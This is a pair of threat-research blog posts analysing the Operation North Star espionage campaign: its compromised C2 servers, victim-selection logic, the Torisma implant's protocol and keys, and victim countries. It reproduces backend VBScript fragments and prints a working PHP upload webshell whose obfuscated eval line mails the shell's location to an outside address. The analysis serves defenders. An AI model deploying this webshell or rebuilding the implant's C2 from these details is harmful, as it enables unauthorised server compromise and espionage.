Normal view

There are new articles available, click to refresh the page.
Before yesterdayMcAfee Blogs

Operation North Star: Summary Of Our Latest Analysis

5 November 2020 at 16:00

McAfee’s Advanced Threat Research (ATR) today released research that uncovers previously undiscovered information on how Operation North Star evaluated its prospective victims and launched attacks on organizations in Australia, India, Israel and Russia, including defense contractors based in India and Russia.

McAfee’s initial research into Operation North Star revealed a campaign that used social media sites, spearphishing and weaponized documents to target employees working for organizations in the defense sector. This early analysis focused on the adversary’s initial intrusion vectors, the first stages of how an implant was installed, and how it interacted with the Command and Control (C2) server.

By deepening its investigation into the inner workings of North Star’s C2, McAfee ATR can now provide a unique view into not only the technology and tactics the adversary used to stealthily execute his attacks but also the kinds of victims he targeted.

The latest research probed into the campaign’s backend infrastructure to establish greater perspective into how the adversary targeted and assessed his victims for continued exploitation, and how he used a previously unknown implant called Torisma to execute this exploitation.

McAfee’s findings ultimately provide a unique view into a persistent cyber espionage campaign targeting high value individuals in possession of high value defense sector intellectual property and other confidential information.

VECTORS & INFRASTRUCTURE

Most analysis of cyber campaigns is typically reliant upon the dissection of malware and the telemetry of cyber defenses that have come into contact with those campaigns. McAfee’s analysis of Operation North Star complemented these elements by dissecting the C2 infrastructure that operated the campaign. In doing so, we gained a holistic view of its operations that is rarely available to threat researchers.

Attackers often send out many spearphishing emails to many potential targets rather than precisely targeting the highest value individuals. Once the victim opens a message and infects himself, the malware will try to fully exploit his system. But this broad, less precise approach of infecting many is “noisy” in that it is likely to be identified if these infections are happening at scale across an organization (let alone around the world).  Cyber defenses will eventually be able to recognize and stop it.

In the case of Operation North Star, the attackers researched their specific target victims, developed customized content to lure them, engaged them directly via LinkedIn mail conversations, and sent them sophisticated attachments that infected them in a novel way using a template injection tactic.

The campaign used legitimate job recruitment content from popular U.S. defense contractor websites to lure specific victims into opening malicious spear phishing email attachments. Notably, the attackers compromised and used legitimate web domains hosted in the U.S. and Italy to host their command and control capabilities. These otherwise benign domains belonged to organizations in a wide variety of fields, from an apparel manufacturer, to an auction house, to a printing company, to an IT training firm.

Using these domains to conduct C2 operations likely allowed them to bypass some organizations’ security measures because most organizations do not block trusted websites.

The first stage implant was delivered by DOTM files which, once established on a victim’s system, gathered information on that system such as disk information, free disk space information, computer name and logged in username and process information. It would then use a set of logic to evaluate the victim system data sent back by this initial implant to determine whether to install a second-stage implant called Torisma. All the while, it operated to achieve its objectives while minimizing the risk of detection and discovery.

General process flow and component relationship

Torisma is a previously undiscovered, custom-developed, second-stage implant focused on specialized monitoring of high value victims’ systems. Once installed, it would execute custom shellcode and run a custom set of actions depending on the victim systems’ profiles. The actions included active monitoring of the systems and execution of payloads based on observed events. For instance, it would monitor for an increase in the number of logical drives and Remote Desktop Sessions (RDS).

What is clear is that the campaign’s objective was to establish a long-term, persistent espionage campaign focused on specific individuals in possession of strategically valuable technology from key countries around the world.

VICTIMS & IMPACT

McAfee’s early analysis of Operation North Star’s spearphishing messages were written in Korean and exhibited mentions of topics specific to South Korean politics and diplomacy. But our latest analysis of North Star’s C2 log files enabled us to identify targets beyond South Korea:

 

  • Two IP addresses in two Israeli ISP address spaces
  • IP addresses in Australian ISP space
  • IP address in Russian ISP address space
  • India-based defense contractor
  • Russian defense contractor

The campaign’s technologies and tactics—the installation of data gathering and system monitoring implants—suggests that the adversary is in a position to remain persistent, conduct surveillance on and exfiltrate sensitive data from its defense sector victims.

The detailed job descriptions used to lure victims and the selective use of the Torisma implant suggest that the attackers were pursuing very specific intellectual property and other confidential information from very specific defense technology providers. Less valuable victims were sidelined to be monitored silently over an extended period of time until they become more valuable.

VILLAINS & IMPLICATIONS

McAfee cannot independently attribute Operation North Star to a particular hacking group. McAfee has established that the code used in the spearphishing attachments is almost identical to that used by a 2019 Hidden Cobra campaign targeting Indian defense and aerospace companies. This could indicate that either Hidden Cobra is behind Operation North Star or another group is copying the group’s known and established technology and tactics. But sound, accurate attribution requires that technical analysis of such attacks be complemented by information from traditional intelligence sources available only to government agencies.

McAfee’s findings do suggest that the actors behind the campaign were more sophisticated than they initially appeared in our early analysis. They were focused and deliberate in what they meant to achieve and more disciplined and patient in their execution to avoid detection.

Please see our full report entitled “Operation North Star: Behind the Scenes” for a detailed review of ATR’s analysis of the campaign.

Also, please read our McAfee Defender’s blog to learn more about how you can build an adaptable security architecture against the Operation North Star campaign and others like it.

 

The post Operation North Star: Summary Of Our Latest Analysis appeared first on McAfee Blog.

Operation North Star: Behind The Scenes

5 November 2020 at 16:00

Executive Summary

It is rare to be provided an inside view on how major cyber espionage campaigns are conducted within the digital realm. The only transparency afforded is a limited view of victims, a malware sample, and perhaps the IP addresses of historical command and control (C2) infrastructure.

The Operation North Star campaign we detailed earlier this year provided just this. This campaign used social media sites, spearphishing and weaponized documents to target employees working for organizations in the defense sector. This early analysis focused on the adversary’s initial intrusion vectors, described the first stages of how an implant was installed, and how it interacted with the Command and Control (C2) server.

However, that initial disclosure left gaps such as the existence of secondary payload, and additional insights into how the threat actors carried out their operations and who they targeted. The updated report takes a unique deep dive following our identification of previously undiscovered information into the backend infrastructure run by the adversaries.

These findings reveal a previously undiscovered secondary implant known as Torisma. However, more telling are the operational security measures that were undertaken to remain hidden on compromised systems. In particular, we saw the application of an Allow and Block list of victims to ensure the attacker’s secondary payload did not make its way to organizations that were not targeted. This tells us that certainly there has been a degree of technical innovation exhibited not only with the use of a template injection but also in the operations run by the adversary.

Finally, while we cannot confirm the extent of the success of the adversary’s attacks, our analysis of their C2 log files indicate that they launched attacks on IP-addresses belonging to internet service providers (ISPs) in Australia, Israel and Russia, and defense contractors based in Russia and India.

The findings within this report are intended to provide you, the reader, unique insights into the technology and tactics the adversary used to target and compromise systems across the globe.

Compromised Site

Operation North Star C2 infrastructure consisted of compromised domains in Italy and other countries. Compromised domains belonged, for example, to an apparel company, an auction house and printing company. These URLs hosted malicious DOTM files, including a malicious ASP page.

  • hxxp://fabianiarte.com:443/uploads/docs/bae_defqa_logo.jpg
  • hxxps://fabianiarte.com/uploads/imgproject/912EC803B2CE49E4A541068D495AB570.jpg
  • https://www.fabianiarte.com/include/action/inc-controller-news.asp

The domain fabianiarte.com (fabianiarte.it) was compromised to host backend server code and malicious DOTM files. This domain hosted DOTM files that were used to mimic defense contractors’ job profiles as observed in Operation North Star, but the domain also included some rudimentary backend server code that we suspect was used by the implant. Log files and copies appeared in the wild pertaining to the intrusion of this domain and provided further insight. According to our analysis of this cache of data this site was compromised to host code on 7/9/2020.

Two DOTM files were discovered in this cache of logs and other intrusion data. These DOTM files belong to campaigns 510 and 511 based on the hard-coded value in the malicious VB scripts.

  • 22it-34165.jpg
  • 21it-23792.jpg

Developments in Anti-Analysis Techniques

During our analysis we uncovered two DOTM files as part of the cache of data pertaining to the backend. In analyzing first stage implants associated with the C2 server over a period of seven months, we found that there were further attempts by the adversary to obfuscate and confuse analysts.

Having appeared in July, these DOTM files contained first stage implants embedded in the same location as we documented in our initial research.  However, previous implants from other malicious DOTM files were double base64 encoded and the implants themselves were not further obfuscated. However, there were some notable changes in the method that differed from those detailed in our initial research:

  • The first stage implant that is nested in the DOTM file, is using triple base64 encoding in the Visual Basic Macro
  • The extracted DLL (desktop.dat) is packed with the Themida packer attempting to make analysis more difficult.

The first stage implant extracted from the DOTM files contains an encrypted configuration file and an intermediate dropper DLL. The configuration file, once decrypted, contains information for the first stage implant. The information includes the URL for the C2 and the decryption keys for the second stage payload called “Torisma”.

Contents of decrypted configuration

Because the configuration file contains information on how to communicate with the C2, it also stores the parameter options (ned, gl, hl). In this case, we see an unknown fourth parameter known as nl, however it does not appear to be implemented in the server-side ASP code. It is possible that the adversary may have intended to implement it in the future.

Appearance of nl parameter

In addition, analysis of the backend components for this compromised server enables us to draw a timeline of activity on how long the attacker had access. For example, the DOTM files mentioned above were placed on the compromised C2 server in July 2020. Some of the main malicious components involved in the backend operation were installed on this server in January 2020, indicating that this C2 server had been running for seven months.

Digging into the Heart of Operation North Star – Backend

Inc-Controller-News.ASP

As we covered in our initial Operation North Star research, the overall attack contained a first stage implant delivered by the DOTM files. That research found specific parameters used by the implant and that were sent to the C2 server.

Further analysis of the implant “wsdts.db” in our case, revealed that it gathers information of the victim’s system. For example:

  • Get system disks information
  • Get Free disk space information
  • Get Computer name and (logged in) Username
  • Process information

When this information is gathered, they will be communicated towards the C2 server using the parameters (ned, gl, hl).

These parameters are interpreted by an obfuscated server-side ASP page, based on the values sent will depend on the actions taken upon the victim. The server-side ASP page was placed on the compromised server January 2020.

Additionally, based on this information the adversary is targeting Windows servers running IIS to install C2 components.

The server-side ASP page contains a highly obfuscated VBScript embedded that, once decoded, reveals code designed to interact with the first stage implant. The ASP page is encoded with the VBScript.Encode method resulting in obfuscated VBScript code. The first stage implant interacts with the server-side ASP page through the usage of these finite parameters.

Encoded VBScript

Once the VBScript has been decoded it reveals a rather complex set of functions. These functions lead to installing additional stage implants on the victim’s system. These implants are known as Torisma and Doris, both of which are base64 encoded. They are loaded directly into memory via a binary stream once conditions have been satisfied based on the logic contained within the script.

Decoded VBScript

The ASP server-side script contains code to create a binary stream to where we suspect the Torisma implant is written. We also discovered that the Torisma implant is embedded in the ASP page and decoding the base64 blob reveals an AES encrypted payload. This ASP page contains evidence that indicates the existence of logic that decodes this implant and deliver it to the victim.

function getbinary(sdata)

const adtypetext = 2

const adtypebinary = 1

dim binarystream

dim aa

aa = “adodb.stream”

set binarystream = createobject(aa)

binarystream.type = adtypetext

binarystream.charset = “unicode”

binarystream.open

binarystream.writetext sdata

binarystream.position = 0

binarystream.type = adtypebinary

binarystream.position = 2

getbinary = binarystream.read

end function

Depending on the values sent, additional actions are performed on the targeted victim. Further analysis of the server-side script indicates that there is logic that depends on some mechanism for the actor to place a victim’s IP address in an allowed-list file. The second stage implant is not delivered to a victim unless this condition is met first. This alludes to the possibility that the actor is reviewing data on the backend and selecting victims, this is likely performed through another ASP page discovered (template-letter.asp).

The server-side ASP page contains code to interpret the data sent via the following parameters to execute additional code. The values to these parameters are sent by the first stage implant initially delivered by the DOTM files. These parameters were covered in our initial research, however having access to the C2 backend code reveals additional information about their true purpose.

Parameter Description
NED Campaign code embedded in DOTM Macro
GL System Information
HL Flag to indicate OS architecture (32 or 64 bits)

The URL query string is sent to the C2 server in the following format.

http://hostname/inc-controller-news.asp?ned=campaigncode&gl=base64encodeddata&hl=0

Further, code exists to get the infected victim’s IP address; this information is used to check if the IP address is allowed (get the second stage) or if the IP address has been blocked (prevent second stage). As mentioned previously, the addition of the victim’s IP address into the fake MP3 files is likely performed manually through identification of incoming connections through the stage 1 implant.

function getstripaddress()

on error resume next

dim ip

ip = request.servervariables(“http_client_ip”)

if ip = “”

then ip = request.servervariables(“http_x_forwarded_for”)

if ip = “”

then ip = request.servervariables(“remote_addr”)

end if end

if

getstripaddress = ip

end function

The full code of the logic gets the IP address for the connecting client machine and writing victim entries to a log file. In breaking down this code we can see different functionality is used that is most interesting. These log files are also stored within the WWW root of the compromised server based on the variable strlogpath.

From the below code-snippet of the vbscript, we can see that the “gl” and “hl” parameters are used to query the system information from the victim (gl) and the OS architecture (32 or 64 bits):

strinfo=replace(request.form(“gl “),””,” + “):strosbit=replace(request.form(“hl “),””,” + “)

Victim Logging

The adversary keeps track of victims through logging functionality that is implemented into the server-side ASP code. Furthermore, as described above, the backend server code has the ability to perform victim logging based on first stage implant connections. This log file is stored in the WWW root directory on the compromised C2 server. The following code snippet will write data to a log file in the format [date, IP Address, User Agent, Campaign Code (NED), System Info (GL), OS Architecture (HL)].

strlog = date() & “” & formatdatetime(now(), 4)

r = writeline(strlogpath, strlog)

r = writeline(strlogpath, stripaddr)

r = writeline(strlogpath, strua)

r = writeline(strlogpath, strcondition)

r = writeline(strlogpath, strinfo)

r = writeline(strlogpath, strosbit)

The server-side ASP code will check whether the IP address is part of an allow-list or block-list by checking for the presence of the IP in two server-side files masquerading as MP3 files. The IP address is stored in the format of an MD5 hash, contained within the server-side code as a function to create a MD5 hash. The code is looking for these files in the WWW root of the compromised server based on the variable strWorkDir.

Using an ‘allow-list’ is a possible indication that it contained the list of their pre-determined targets.

strWorkDir = “C:\”:strLogPath=strWorKdir&”lole3D_48_02_05.mp3″:StrWhiteFile=strWorkDir&”wole3D_48_02_05.mp3 “:strBlAcKFile=strWorkDir&”bole3D_48_02_05.mp3”:stripAddr=GeTStrIpAddress():strMD5IpAddr=MD5(strIpAddr):strUA=Request.serveRVariables(“HTTP_USER_AGENT “)

IP allow-list / blocklist checking

For MD5 hash generation, the system appears to be using a non-standard form of hashing for the IP addresses. In most cases, the built in Microsoft cryptographic service provider would be used to generate an MD5. In this case, however, the actor chose to use a custom method instead.

The IP address is retrieved and hashed using this method.

stripaddr=getstripaddress()

strmd5ipaddr=md5(stripaddr)

The following function (ipopk) is set to read from a file that stores hashed IPs and will be used later in a conditional block statement. The code below will open and read a file, if there is no data the flag for ipok will result in 0, if there is data then the resulting value will be 1.

function ipok(hashfile, stripaddr)

on error resume next

dim fso, fs, linedata

set fso = server.createobject(“scripting.filesystemobject”)

set fs = fso.opentextfile(hashfile, 1, true)

ipok = 0

do until fs.atendofstream

linedata = lcase(fs.readline)

if len(linedata) > 0 and instr(stripaddr, linedata) then ipok = 1

exit do

end if loop

fs.close

set fs = nothing

end function

The following code is the logic to determine if an infected victim should receive the Torisma implant. A series of cases are used to make the decision depending on specific conditions as depicted in the code. Below the cases are explained:

  • If the victim’s IP-address is on the allow-list, and the OS architecture bit value is “1” (resembling 64 bits), the Torisma 64 bits version implant will be sent to the victim and in the log file the term “case_1_64” is written behind the victim, meaning 64 bit version of the Torisma implant sent.
  • Same for the second case but now for a 32-bit version OS (value 0) and the term “case_1_86” is written, meaning 32-bit implant version of torisma sent.
  • If the ip-address of the victim is on the block list with either 32/64 bit OS architecture, a non-sense payload called “doris_x86” “doris_x64” will be sent to the victim. For example, in our case this was the value for “doris_x86”: DoriS_x86=”ddddddd”
  • If condition “24” is returned from the victim, a log entry is written with value “case_3” and no implant sent and an http response status of 405 is sent
  • If neither of the above conditions are met, “case_4” is written in the log-file, no implant sent and again an http response status of 405 is sent.

An http 405 response code indicates that the request method is known by the server but is not supported by the target resource.

if ipok(strwhitefile, strmd5ipaddr) = 1 and instr(strosbit, “1 “) > 0 then r = writeline(strlogpath, “case_1_64 “) strresdata = strbase64_torisma_x64

 

else if ipok(strwhitefile, strmd5ipaddr) = 1 and instr(strosbit, “0 “) > 0 then r = writeline(strlogpath, “case_1_86 “) strresdata = strbase64_torisma_x86

 

else if ipok(strblackfile, strmd5ipaddr) = 1 and instr(strosbit, “1 “) > 0 then r = writeline(strlogpath, “case_2_64 “) strresdata = strbase64_doris_x64

 

else if ipok(strblackfile, strmd5ipaddr) = 1 and instr(strosbit, “0 “) > 0 then r = writeline(strlogpath, “case_2_86 “) strresdata = strbase64_doris_x86

 

else if instr(strcondition, “24 “) > 0 then r = writeline(strlogpath, “case_3 “) response.status = “405”

else r = writeline(strlogpath, “case_4 “) response.status = “405 “end

Logic to deliver 2nd stage implant to victim

Inside the Torisma Implant

One of the primary objectives of Operation North Star from what we can tell is to install the Torisma implant on the targeted victim’s system based on a set of logic. Further, the end goal is executing custom shellcode post Torisma infection, thus running custom actions depending on the specific victim profiles. As described earlier, Torisma is delivered based on data sent from the victim to the command and control server. This process relies on the first stage implant extracted from VB macro embedded in the DOTM file.

General process flow and component relationship

Further, Torisma is a previously unknown 2nd stage implant embedded in the server-side ASP page as a base64 encoded blob. Embedded is a 64 and 32-bit version and depending on the OS architecture flag value sent by the victim and will determine what version is sent. Further this implant is loaded directly into memory as a result of interaction between the victim and the command and control server. The adversary went to great lengths to obfuscate, encrypt and pack the 1st and 2nd stage implants involved in this specific case.

Once Torisma is decoded from Base64 the implant is further encrypted using an AES key and compressed. The server-side ASP page does not contain any logic to decrypt the Torisma implant itself, rather it relies on decryption logic contained within the first stage implant. The decryption key exists in an encrypted configuration file, along with the URL for the command and control server.

This makes recovery of the implant more difficult if the compromised server code were to be recovered by incident responders.

The decryption method is performed by the first stage implant using the decryption key stored in the configuration file, this key is a static32-bit AES key. Torisma can be decoded with a decryption key 78b81b8215f40706527ca830c34b23f7.

Further, after decrypting the Torisma binary, it is found to also be packed with lz4 compression giving it another layer of protection. Once decompressing the code, we are now able to analyze Torisma and its capabilities giving further insight into Operation North Star and the 2nd stage implant.

The variant of the implant we analyzed was created 7/2/2020; however, given that inc-controller-news.asp was placed on the C2 in early 2020, it indicates the possibility of multiple updates.

Based on the analysis, Torisma is sending and receiving information with the following URLs.

  • hxxps://www.fabianiarte.com/newsletter/arte/view.asp
  • hxxps://www.commodore.com.tr/mobiquo/appExtt/notdefteri/writenote.php
  • hxxp://scimpex.com:443/admin/assets/backup/requisition/requisition.php

Encrypted Configuration File

Torisma also uses encrypted configuration files just as with the 1st stage implant to indicate what URLs it communicates with as a command and control, etc.

Decrypted configuration file

The configuration file for Torisma is encrypted using the algorithm VEST[1] in addition to the communication sent over the C2 channel. From our research this encryption method is not commonly used anywhere, in fact it was a proposed cipher that did not become a standard to be implemented in general technologies[2].

Further, the FOUND002.CHK file recovered from the backend is used to update the configuration and contains just URLs with .php extension. These URLs have pages with a .php extension, indicating that some of the backend may have been written in PHP. It’s unclear what the role of the servers with .PHP pages have in the overall attack. Though we can confirm based on strings and functions in Torisma that there is code designed to send and receive files with the page view.asp. This view.asp page is the Torisma implant backend from what our analysis shows here. Later in this analysis we cover more on view.asp, however that page contained basic functionality to handle requests, send and receive data with an infected victim that has the Torisma implant.

Main Functionality

According to our analysis, the Torisma code is a custom developed implant focused on specialized monitoring.

The role of Torisma is to monitor for new drives added to the system as well as remote desktop connections. This appears to be a more specialized implant focused on active monitoring on a victim’s system and triggering the execution of payloads based on monitored events. The end objective of Torisma is executing shellcode on the victim’s system and sending the results back to the C2.

The Torisma code begins by running a monitoring loop for information gathering.

Information gathering loop

General Process

It runs the monitoring routine but will first check if monitoring is enabled based on the configuration (disabled by default). The general logic of this process is as follows:

  1. If monitoring is disabled, just return
  2. Else call the code that does the monitoring and upon completion temporarily disable monitoring
  3. When run, the monitoring will be executed for a specified amount of time based on a configuration value
  4. Upon return of the monitoring function, the code will proceed to command and control communication
  5. If there is repeated failure in communication, the implant will force monitoring for 1hr and then retry the communication
  6. Repeat forever

Triggering monitoring based on configuration

Monitoring

The monitoring loop will retrieve the address of WTSEnumerateSessionsW and the local mac address using GetAdaptersInfo.

  1. The code will execute on a loop, until either enough time has elapsed (end time passed a parameter) or an event of interest occurred

 

Monitoring loop

  1. It will monitor for an increase in the number of logical drives and Remote Desktop Sessions (RDS). If either occur, a status code will be set (5. New drive, 6. New RDS session) and the monitoring loop stops.

Drive tracking

a. It uses GetlogicalDrives to get a bitmask of all the drives available on the system, then iterates over each possible drive letter

b. It will also use GetDriveType to make sure the new drive is not a CD-ROM drive

Check drive type

  1. It keeps track of the number of drives previously seen and will return 1 if the number has increased

RDP Session Tracking

The RDP session tracking function operates the same as the drive tracking. If the number increases by one it then returns 1. It uses WTSEnumerateSessionsW to get a list of sessions, iterates through them to count active ones.

Get active RDP sessions

Get active RDP sessions, continued

Command and Control Communication

The C2 code is interesting and is a custom implementation. The general process for this protocol is as follows.

  1. Generates a connection ID that will be kept throughout this step as a hex string of five random bytes for each module (0x63) and random seeded with the output of GetTickCount64

Generate connection ID

  1. Next it loads a destination URL
      a. There are three available servers hardcoded in the implant as an encrypted blob
    1. b. The decryption is done using a VEST-32 encryption algorithm with the hardcoded key ff7172d9c888b7a88a7d77372112d772

Configuration Decryption

c. A random configuration number is picked (mod 6) to select this configuration

d. There are only 3 configurations available, if the configuration number picked is above 3, it will keep incrementing (mod 6) until one is picked. Configuration 0 is more likely to be chosen because of this process.

Code to pick configurations

  1. It will send a POST request to the URL it retrieved from the configuration with a “VIEW” action. It builds a request using the following hardcoded format string.
post => ACTION=VIEW&PAGE=%s&CODE=%s&CACHE=%s&REQUEST=%d

=> PAGE=drive_count

CODE=RDS_session_count

CACHE=base64(blob)

Request=Rand()

 

blob: size 0x43c

blob[0x434:0x438] = status_code

blob[0x438:0x43c] = 1

blob[0:0x400] = form_url

blob[0x400:0x418] = mac_address

blob[0x418:0x424] = connection_id (random)

blob[0x424:0x434] = “MC0921” (UTF-16LE)

a. The process will be looking for the return of the string Your request has been accepted. ClientID: {f9102bc8a7d81ef01ba} to indicate success

  1. If successful, it will retrieve data from the C2 via a POST request, this time it will use the PREVPAGE action

a. It uses the following format string for the POST request

ACTION=PREVPAGE&CODE=C%s&RES=%d

With: CODE = connection_id (from before)

RES = Rand()

b. The reply received from the server is encrypted it. To decrypt it the following process is needed

i. Replace space with +

ii. Base64 decode the result

iii. Decrypt the data with key “ff7172d9c888b7a88a7d77372112d772”

Server decryption using key

iv. Perform a XOR on the data

Perform XOR on the data

    1. The decrypted data is going to be used to execute a shellcode from the server and send data back

a. Data from the server will be split into a payload to execute and the data passed as an argument that is being passed to it
b. Part of the data blob sent from the server is used to update the local configuration used for monitoring

i. The first 8 bytes are fed to a add+xor loop to generate a transformed version that s compared to hardcoded values

Configuration check

Configuration check continued

ii. If the transformed data matched either of the two hardcoded values, the local configuration is updated

iii. In addition, the duration of the observation (for the Drive/RDS) loop can be updated by the server

iv. If the duration is above 0x7620 (21 days) it will then re-enable the monitoring even if the configuration detailed above had disabled it

v. If the transformed data doesn’t match any of the two hardcoded values, then monitoring will be disabled by the configuration

c. The implant will create a new communication thread and will wait until its notified to continue. It will then proceed to execute the shellcode and then wait for the other thread to terminate.

d. Depending on what occurred (an error occurred, or monitoring is enabled/disabled) the code will return a magic value that will decide if the code needs to run again or return to the monitoring process.

Return to communications loop

    1. The communications thread will create a new named pipe (intended to communicate with the shellcode). It the notifies the other thread once the pipe is ready and then proceed to send data read from the pipe to the server.

a. The pipe name is \\.\pipe\fb4d1181bb09b484d058768598b

Code for named pipe

b. It will read data from the pipe (and flag the processing as completed if it finds “- – – – – – – – -“

c. It will then send the data read back to the C2 by sending a POST in the following format

ACTION=NEXTPAGE

ACTION=NEXTPAGE&CODE=S%s&CACHE=%s&RES=%d

CODE=connection_id

CACHE=base64(message)

RES = Rand()

d. Data is encrypted following the same pattern as before, data is first XORED and then encrypted using VEST-32 with the same key as before

e. This will be repeated until the payload thread sends the “- – – – – – – – -“message or that the post failed

Campaign Identification

One way the adversary keeps track of what victims are infected by what version of the first stage implant is by using campaign IDs. These IDs are hard coded into the VB macro of the template document files that are retrieved by the first stage maldoc.

They are sent to the backend server through the NED parameter as covered earlier, further they are read and interpreted by the ASP code.

Victimology

According to the raw access logs for Inc-Controller-News.asp it is possible to understand what countries were impacted and it matches with the logs we discovered along another .asp page (view.asp), which we will explain later in the document.

Based on one of C2 log files we could identify the following about the victims:

  • Russian defense contractor
  • Two IP addresses in two Israeli ISP address spaces
  • IP addresses in Australian ISP space
  • IP address in Russian ISP address space
  • India-based defense contractor

Template-letter.asp

During our investigation we uncovered additional information that led to the discovery of additional ASP pages. One ASP page discovered on the same compromised command and control server contained interesting code. First this ASP page is encoded in the same method using VB.Encode as we observed with the code that delivers the Torisma implant. Second it appears that the code is part of the core backend managed by the attacker and had the original file name of board_list.asp. Based on in the wild submission data the file board_list.asp first appeared in Korea October 2017, this suggests that this code for this webshell has been in use since 2017.

Further, this ASP page is a custom webshell that according to our knowledge and sources is not an off-the-shelf common webshell, rather something specifically used in these attacks. Some of the actions include browsing files, executing commands, connecting to a database, etc. The attacker is presented with the login page and a default base64 encoded password of ‘venus’ can be used to login (this value is hardcoded in the source of this page).

Template-Letter.ASP main page

Functionality to execute commands

 VIEW.ASP -Torisma Backend

The View.ASP file is equally important as the inc-controller-news.asp file and contains interesting functionality. This ASP page is the backend code for the Torisma implant, and the functions are intended to interact with the infected victim.

The view.asp file contains the following references in the code:

The file “FOUND001.CHK” contains a “logfile” as the CONST value name possibly refers to “logvault”.

Analyzing the possible victims revealed an interesting list:

  • Russia-based defense contractor
  • Two IP addresses in two Israeli ISP address spaces
  • IP address in Russian ISP address space
  • India-based defense contractor

The file “FOUND002.CHK” contains a Base64 string that decodes to:

hxxps://www.krnetworkcloud.org/blog/js/view.php|www.krnetworkcloud.org|2|/blog/js/view.php|NT

The above domain was likely compromised to host malicious code, given it belongs to an Indian IT training company.

The Const value name for “FOUND002.CHK” is “cfgvault”, the first three letters might refer to “configuration”. This ASP code contains additional functions that may indicate what role this page has in the overall scheme of things. View.asp is the Torisma implant backend code with numerous functions implemented to handle requests from the implant as described earlier in this analysis. Based on our analysis of both the Torisma implant and this backend code, some interesting insight has been discovered.  First implemented in the ASP code are the general actions that can be taken by this backend depending on the interaction with Torisma.

Some of these actions are triggered by the implant connecting and the others may be invoked by another process. The main ASP page is implemented to handle incoming requests based on a request ACTION with several possible options to call. Given that the implant is driven by the “ACTION” method when it comes to the C2 communication, a number of these cases could be selected. However, we only see code implemented in Torisma to call and handle the request/response mechanism for NEXTPAGE and PREVPAGE, thus these other actions are likely performed by the adversary through some other process.

General actions by View.ASP

ViewPrevPage

As described in the analysis, the ViewPrevPage action is a function designed to handle incoming requests from Torisma to get data. The data sent to Torisma appears to be in the form of ~dmf files. This content for the ViewPrevPage action comes in the form of shellcode intended to be executed on the victim side according to the analysis of the implant itself.

ViewPrevPage function

ViewNextPage

Torisma uses this method to send data back to the C2 server read from the named pipe. This is the results of the execution of the shellcode on the victim’s system through the ViewPrevPage action and the results of this execution are sent and processed using this function.

Implant sends data to C2

ViewGallery

There is no function in Torisma implemented to call this function directly, this is likely called from another administration tool, probably implemented in the upstream server. A static analysis of this method reveals that it is likely intended to retrieve log files in a base64 encoded format and write the response. Like the Torisma implant, there is a response string that is received by the calling component that indicates the log file had been retrieved successfully and that it should then delete the log file.

Retrieve and write log file content in base64 format (ViewGallery)

ViewMons

Another function also not used by Torisma is intended to set the local configuration file. It appears to use a different request method than ACTION; in this case it uses MAILTO. Based on insight gathered from Torisma, we can speculate this is related to configuration files that are used by the implant.

ViewMons function

SendData

This function is used in the RedirectToAdmin method exclusively and is the mechanism for sending data to the upstream C2. It depends on the GetConfig function that is based on the stored value in the cfgvault variable.

Send Data

RedirectToAdmin

This function is used to redirect information from an infected victim to the master server upstream. This is an interesting function indicating additional infrastructure beyond the immediate C2 with which we observed Torisma communicating.

RedirectToAdmin

WriteAgentLog

As part of the process of tracking victim’s with Torisma, the ASP code has a function to write log files. These resulting log files indicate success for the execution of shellcode on victims running Torisma. This logging method captures the user agent and IP address associated with the victim being monitored. This function is called when the information is sent to the master server via the RedirectToAdmin method.

Analysis of the server logs indicates the following countries made connections to the View.ASP page in July 2020.

  • India
  • Australia
  • Israel
  • Finland

Webshells

During our analysis we were able to determine that in some instances the attacker used webshells to maintain access. Discovered on another compromised server by the same actor with the same type of code was a PHP Webshell known as Viper 1337 Uploader. Based on our analysis this is a modified variant of Viper 1337 Uploader.

<title>Viper 1337 Uploader</title>

<?php

echo ‘<form action=”” method=”post” enctype=”multipart/form-data” name=”uploader” id=”uploader”>’;

echo ‘<input type=”file” name=”file” size=”50″><input name=”_upl” type=”submit” id=”_upl” value=”Upload”></form>’;

if( $_POST[‘_upl’] == “Upload” ) {

if(@copy($_FILES[‘file’][‘tmp_name’], $_FILES[‘file’][‘name’])) { echo ‘<b>Shell Uploaded ! :)<b><br><br>’; }

else { echo ‘<b>Not uploaded ! </b><br><br>’; }

}

?>

<?php

eval(base64_decode(‘JHR1anVhbm1haWwgPSAnS2VsdWFyZ2FIbWVpN0B5YW5kZXguY29tJzsKJHhfcGF0aCA9ICJodHRwOi8vIiAuICRfU0VSVkVSWydTRVJWRVJfTkFNRSddIC4gJF9TRVJWRVJbJ1JFUVVFU1RfVVJJJ107CiRwZXNhbl9hbGVydCA9ICJmaXggJHhfcGF0aCA6cCAqSVAgQWRkcmVzcyA6IFsgIiAuICRfU0VSVkVSWydSRU1PVEVfQUREUiddIC4gIiBdIjsKbWFpbCgkdHVqdWFubWFpbCwgIkNvbnRhY3QgTWUiLCAkcGVzYW5fYWxlcnQsICJbICIgLiAkX1NFUlZFUlsnUkVNT1RFX0FERFInXSAuICIgXSIpOw==’));

?>

Some additional log file analysis reveals that a dotm file hosted with a. jpg extension was accessed by an Israeli IP address. This IP address likely belongs to a victim in Israel that executed the main DOCX. Based on the analysis of the user-agent string belonging to the Israel IP address Microsoft+Office+Existence+Discovery indicates that the dotm file in question was downloaded from within Microsoft Office (template injection).

Attacker Source

According to our analysis the attacker accessed and posted a malicious ASP script “template-letter.asp” from the IP address 104.194.220.87 on 7/9/2020.  Further research indicates that the attacker is originating from a service known as VPN Consumer in New York, NY.

Snipped from log file showing attacker IP 104.194.220.87

From the same logfiles, we observed the following User Agent String:

“Mozilla/4.0+(compatible;+MSIE+7.0;+Windows+NT+10.0;+Win64;+x64;+Trident/7.0;+.NET4.0C;+.NET4.0E;+ms-office;+MSOffice+16)”

Decoding the User Agent string we can make the following statement

The attacker is using a 64bit Windows 10 platform and Office 2016.

The Office version is the same as we observed in the creation of the Word-documents as described in our document analysis part of Operation NorthStar.

Conclusion

It is not very often that we have a chance of getting the C2 server code pages and associated logging in our possession for analysis. Where we started with our initial analysis of the first stage payloads, layer after layer we were able to decode and reveal, resulting in unique insights into this campaign.

Analysis of logfiles uncovered potential targets of which we were unaware following our first analysis of Operation North Star, including internet service providers and defense contractors based in Russia and India.

Our analysis reveals a previously unknown second stage implant known as Torisma which executes a custom shellcode, depending on specific victim profiles, to run custom actions. It also illustrates how the adversary used compromised domains in Italy and elsewhere, belonging to random organizations such as an auction house and printing company, to collect data on victim organizations in multiple countries during an operation that lasted nearly a year.

